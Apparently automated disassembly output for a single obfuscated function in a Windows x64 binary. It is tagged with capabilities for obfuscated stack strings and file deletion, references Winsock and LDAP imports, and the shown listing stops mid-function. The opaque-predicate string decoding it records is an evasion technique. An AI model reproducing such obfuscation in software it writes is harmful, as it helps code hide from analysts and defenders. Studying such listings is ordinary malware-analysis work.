Function at 0x1400f2990
Capabilities:
Contain obfuscated stackstrings
Delete file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov dword [rbp + 0x20], 0x68716014
mov dword [rbp + 0x24], 0x6b6a6c0f
mov dword [rbp + 0x28], 0x6032628
mov dword [rbp + 0x2c], 0x63670b2c
mov dword [rbp + 0x30], 0x72601675
mov dword [rbp + 0x34], 0x6f733b76
mov dword [rbp + 0x38], 0x1d35397d
mov byte [rbp + 0x3c], 0xdc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d], xmm0
mov word [rbp + 0x4d], ax
movabs rsi, 0x4d8b2554071db20
movabs r15, 0xf2f4805e0d8cfa20
movabs r14, 0xee0e87b71c9084a0
movabs r12, 0x1eefb1992557e6e0
movabs r13, 0xd8d03ac8781c5400
movzx edi, byte [rbp + 0x1f0]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r9d, r9d
cmp r9, 0x2f
jae 0x1400f34dc
movzx r11d, byte [rbp + r9 + 0x20]
movzx r10d, r11b
nop dword [rax]
cmp rbx, r9
ja 0x1400f34d3
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400f2a8c
lea rcx, [r9 + r15]
mov rax, r11
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r11
add rdi, rcx
add dil, 0x20
jmp 0x1400f2ac6
je 0x1400f3456
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f33cc
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400f3390
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f336f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f3347
movzx r10d, r11b
nop word [rax + rax]
cmp r8, r9
ja 0x1400f34ca
lea rdx, [r8 + 1]
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x1400f2afe
lea rcx, [r9 + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
jmp 0x1400f2b21
cmp rbx, rdx
je 0x1400f3306
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f32c8
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400f318b
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x1400f3090
nop
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400f3072
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400f3049
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400f301b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f2ff7
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400f2fd0
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400f2fa8
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400f2f84
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400f2f51
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400f2b30
lea rbx, [r8 + 0x42]
lea r8, [rbx + 6]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400f34aa
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400f348d
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x1400f2cd8
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400f2cb9
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x1400f2efa
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400f2ea5
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400f2e5b
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400f2e2b
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400f2b30
lea rbx, [r8 + 0x28]
lea r8, [rbx + 4]
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400f2dfc
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x1400f2dd4
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400f2db0
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400f2d96
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400f2d6e
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400f2d44
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400f2d17
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400f2cf3
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400f2b30
lea rbx, [r8 + 0x10]
lea r8, [rbx + 2]
jmp 0x1400f2b30
lea rcx, [r9 + rsi]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
jmp 0x1400f2ad0
lea rcx, [r9 + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x1400f2a60
movabs rcx, 0x70743db8e4842500
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
movzx edx, r9b
jmp 0x1400f331f
movabs rcx, 0x8a8b3cfcc96a30c0
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
inc r8
dec r9
inc r9
jmp 0x1400f2a45
movabs rcx, 0xa4a23c40ae503c80
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
dec r9
inc r9
jmp 0x1400f2a45
movabs rcx, 0xbeb93b8493364840
add rcx, r9
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
jmp 0x1400f32de
lea rcx, [r9 + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add rbx, r8
jmp 0x1400f33b3
movabs rcx, 0xcfe395041e86b80
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x1400f33eb
movabs rcx, 0x2715389426ce7740
add rcx, r9
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
jmp 0x1400f3414
movabs rcx, 0x412c37d80bb48300
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
movzx eax, byte [rbp + r9 + 0x20]
add rax, r8
add r9, rax
inc r9
jmp 0x1400f2a45
movabs rcx, 0x8265b601c7f3a060
add rcx, r9
movzx eax, cl
and al, r11b
mov edx, Ordinal_50
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
mov byte [rbp + r9 + 0x20], dil
inc r9
jmp 0x1400f2a45
movabs rcx, 0x9c7cb545acd9ac20
add rcx, r9
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
cmp r8, 0x42
jb 0x1400f2e4e
movzx edx, r9b
lea ecx, [rdx - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edi, [rcx*2 - 0x80]
jmp 0x1400f331f
movabs rcx, 0xb693b48991bfb7e0
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
cmp rbx, 0x80
jae 0x1400f3294
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x1400f31aa
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400f2e7e
movabs rcx, 0xd0aab3cd76a5c3a0
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x1400f32ac
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400f3164
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
jmp 0x1400f2ec4
movabs rcx, 0x94572e4aab631bc0
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + r9 + 0x20]
add rax, r8
add r9, rax
inc r9
jmp 0x1400f2a45
movabs rcx, 0xae6e2d8e90492780
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x1400f3414
movabs rcx, 0xc8852cd2752f3340
add rcx, r9
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
jmp 0x1400f33eb
movabs rcx, 0xfcb32b5a3efb4ac0
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
add rbx, r8
jmp 0x1400f33b3
movabs rcx, 0x16ca2a9e23e15680
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x1400f32de
movabs rcx, 0x30e129e208c76240
add rcx, r9
movzx eax, cl
and al, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
dec r9
inc r9
jmp 0x1400f2a45
movabs rcx, 0x4af82925edad6e00
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
inc r8
dec r9
inc r9
jmp 0x1400f2a45
movzx edx, r9b
lea ecx, [rdx - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
jmp 0x1400f331f
lea rcx, [r8 + 4]
cmp rbx, rcx
jae 0x1400f30b8
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400f2f19
cmp rbx, rdx
jne 0x1400f30eb
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r9 + 0x20]
add rax, r8
add r9, rax
inc r9
jmp 0x1400f2a45
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f3112
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
jmp 0x1400f3414
cmp rbx, rcx
jne 0x1400f3139
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x1400f33b3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f2f19
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
jmp 0x1400f32de
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400f3306
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f3347
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400f2ec4
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400f33eb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400f31e0
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r9 + 0x20]
add rax, r8
add r9, rax
inc r9
jmp 0x1400f2a45
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f3204
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
jmp 0x1400f3414
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400f322e
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
add dil, 0x80
add rbx, r8
jmp 0x1400f33b3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f3252
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
jmp 0x1400f32de
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400f3279
movzx ecx, r9b
and cl, r11b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r11b
dec r9
inc r9
jmp 0x1400f2a45
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400f2e7e
lea edx, [r9 + 0x40]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400f3350
movzx eax, r9b
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
add dil, r9b
add dil, r11b
jmp 0x1400f32de
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400f33eb
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x60
lea edx, [r9 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
add cl, dil
mov byte [rbp + r9 + 0x20], cl
add rbx, r8
jmp 0x1400f33b3
movzx edx, r9b
lea ecx, [rdx - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
sub dl, 0x20
movzx eax, r10b
and al, dl
add al, al
sub r10b, al
sub r10b, 0x20
add r10b, dl
mov byte [rbp + r9 + 0x20], r10b
inc r8
dec r9
inc r9
jmp 0x1400f2a45
lea edx, [r9 + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r9
inc r9
jmp 0x1400f2a45
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x20
dec r9
inc r9
jmp 0x1400f2a45
movabs rdx, 0x8a98834e79f4cb20
add rdx, r9
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x1400f2a45
movabs rcx, 0xa4af82925edad6e0
add rcx, r9
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
lea edx, [r9 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x20], al
inc r8
add rax, r8
sub r9, rax
lea ecx, [r9 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 0x80
add r10b, cl
mov byte [rbp + r9 + 0x20], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0x20]
add rax, r8
add r9, rax
inc r9
jmp 0x1400f2a45
movabs rcx, 0xd8dd811a28a6ee60
add rcx, r9
movzx eax, cl
and al, r11b
mov edx, Ordinal_50
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r10b
movzx eax, byte [rbp + r9 + 0x20]
add rax, r8
add r9, rax
inc r9
jmp 0x1400f2a45
sub r9b, 0x60
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0x60
jmp 0x1400f2a42
add r9b, 0x60
movzx eax, r9b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x1400f2a32
lea rdx, [rbp + 0x1780da0]
jmp 0x1400f34e0
lea rdx, [rbp + 0xc507c0]
jmp 0x1400f34e0
lea rdx, [rbp + 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 0
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400f3510
lea rcx, [rbp + 0x140]
call fcn.140047180
lea rcx, [rbp + 0x140]
call fcn.1400f2770
mov dword [rbp + 0x80], 0xa8ae93ab
mov dword [rbp + 0x84], 0xc4d2c3d9
mov dword [rbp + 0x88], 0xaca6c2cf
mov dword [rbp + 0x8c], 0xdacacec1
mov dword [rbp + 0x90], 0x9fb48ad1
mov dword [rbp + 0x94], 0xfdeff7e4
mov dword [rbp + 0x98], 0x97fdf3e1
mov dword [rbp + 0x9c], 0xfbf9f0ff
mov dword [rbp + 0xa0], 0xe4a0e0e9
mov word [rbp + 0xa4], 0xe6e9
mov byte [rbp + 0xa6], 0x56
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa7], xmm0
mov word [rbp + 0xb7], ax
movabs r13, 0xfe8055f0fb4b608e
movabs r15, 0xf5825996df0fa3e2
movabs r14, 0xfb8101d2f1e221aa
movzx edi, byte [rbp + 0x1f0]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r12d, r12d
cmp r12, 0x39
jae 0x1400f3e2b
movzx r9d, byte [rbp + r12 + 0x80]
mov esi, r9d
nop dword [rax]
cmp rbx, r12
ja 0x1400f3e22
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400f363c
lea rcx, [r12 + r13]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
add dil, 0x1e
jmp 0x1400f3669
je 0x1400f3d99
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f3d22
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f3d02
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400f3cb7
movzx r10d, r12b
nop dword [rax]
cmp r8, r12
ja 0x1400f3e19
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x1400f36a1
lea edx, [r10 - 0x5a]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400f36e0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400f3c9e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400f3c7b
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400f3c5c
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400f3c3f
nop word [rax + rax]
lea r11, [r8 + rbx]
cmp r11, r12
jbe 0x1400f395f
nop dword [rax]
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400f3943
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400f391d
lea rcx, [r8 + 8]
cmp rbx, rcx
je 0x1400f38fa
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400f38de
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400f38c1
mov rbx, rcx
lea r8, [rcx + 0x28]
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x1400f3df9
lea rax, [r8 + 2]
cmp rcx, rax
jb 0x1400f3ddc
lea rcx, [r8 + 0x28]
cmp rbx, rcx
jb 0x1400f380b
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400f37ec
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400f37cd
mov rbx, rcx
lea r8, [rcx + 0x200]
lea rax, [r8 + 0x7a]
cmp rcx, rax
ja 0x1400f38a4
lea rax, [r8 + 8]
cmp rcx, rax
ja 0x1400f3884
lea rcx, [r8 + 0x200]
cmp rbx, rcx
ja 0x1400f3865
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400f3848
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400f382b
mov rbx, rcx
lea r8, [rcx + 0x40]
jmp 0x1400f36f0
lea edx, [r10 + 0x1a]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400f36e0
lea edx, [r10 - 2]
movzx eax, r9b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400f3670
sub r10b, 0x1e
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2e
add dil, r10b
jmp 0x1400f3610
sub r10b, 0x40
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x40
jmp 0x1400f3c0a
sub r10b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
jmp 0x1400f3c0d
lea edx, [r10 - 0x78]
movzx eax, r9b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400f3d3b
add r10b, 0x6c
movzx eax, r9b
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f3d68
add r10b, 0x50
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x30
jmp 0x1400f3db1
add r10b, 0x74
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2c
jmp 0x1400f3c0a
lea edx, [r10 + 0x58]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x68
jmp 0x1400f3be2
add r10b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r12
jmp 0x1400f3dc0
add r10b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r12
jmp 0x1400f3dc0
lea edx, [r10 + 4]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1c
jmp 0x1400f3cd2
lea r15, [r8 + 0x200]
lea rsi, [r8 + 1]
cmp rbx, r15
jae 0x1400f3a1d
lea edx, [r10 - 0x72]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea r14, [r8 + 3]
cmp r11, 0x28
je 0x1400f3c23
cmp rbx, r15
jbe 0x1400f3a97
lea edx, [r10 - 0x2a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp rbx, 0x200
jae 0x1400f3bcc
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x1400f3b24
lea edx, [r10 + 0x7c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x64
add dil, dl
cmp r8, 0x7a
jb 0x1400f3bbf
lea edx, [r10 - 0x6c]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x18]
jmp 0x1400f3cd5
cmp rbx, rsi
jne 0x1400f3a3f
add r10b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
jmp 0x1400f3db1
lea r14, [r8 + 3]
cmp rbx, r14
jne 0x1400f3a67
lea edx, [r10 - 0x7c]
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400f3d3b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f3991
sub r10b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r12
jmp 0x1400f3dc0
cmp rbx, rsi
jne 0x1400f3aaa
lea edx, [r10 - 0xe]
mov ecx, Ordinal_50
jmp 0x1400f3cc4
cmp rbx, r14
jne 0x1400f3acf
add r10b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
dec r12
jmp 0x1400f3dc0
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400f3af7
lea edx, [r10 - 0x66]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x36
add dil, dl
jmp 0x1400f3d3b
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400f39be
sub r10b, 0x2e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400f3db1
cmp rbx, rsi
jne 0x1400f3b46
sub r10b, 0x68
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x28
jmp 0x1400f3db1
cmp rbx, r14
jne 0x1400f3b6a
lea edx, [r10 - 0x30]
movzx eax, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400f3d3b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400f3b96
add r10b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r12
jmp 0x1400f3dc0
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400f39f2
lea edx, [r10 + 0x78]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x48
jmp 0x1400f3cd2
mov byte [rbp + r12 + 0x80], dil
jmp 0x1400f3dc0
lea edx, [r10 - 0x50]
movzx eax, r9b
and al, dl
movzx ecx, r9b
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
add dil, dl
add r10b, 0x3e
movzx eax, r10b
and al, r9b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add cl, dil
add cl, r9b
mov byte [rbp + r12 + 0x80], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r12, rcx
jmp 0x1400f3dc0
lea edx, [r10 - 0x34]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400f3d3b
sub r10b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
jmp 0x1400f3db1
lea edx, [r10 + 0x6a]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400f3d3b
sub r10b, 6
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r12
jmp 0x1400f3dc0
lea edx, [r10 - 0x3e]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x4e
jmp 0x1400f3cd2
movzx r10d, r12b
lea edx, [r10 - 0x76]
mov ecx, Ordinal_30
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r10b, 0x22
movzx eax, r10b
and al, r9b
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
mov byte [rbp + r12 + 0x80], cl
inc r8
dec r12
jmp 0x1400f3dc0
lea ecx, [r12 + 0x52]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3e
dec r12
jmp 0x1400f3dc0
lea rax, [r12 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r9 + rax]
sub dil, 0x2e
movzx r10d, r12b
add r10b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x76
add cl, r10b
movzx eax, cl
mov byte [rbp + r12 + 0x80], al
inc r8
add rax, r8
sub r12, rax
lea ecx, [r12 - 0x18]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x58
add r9b, cl
mov byte [rbp + r12 + 0x80], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r12, rax
jmp 0x1400f3db1
lea rax, [r12 + r14]
and sil, al
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, sil
lea edi, [rcx + rcx]
add dil, al
add dil, r9b
movzx eax, byte [rbp + r12 + 0x80]
add rax, r8
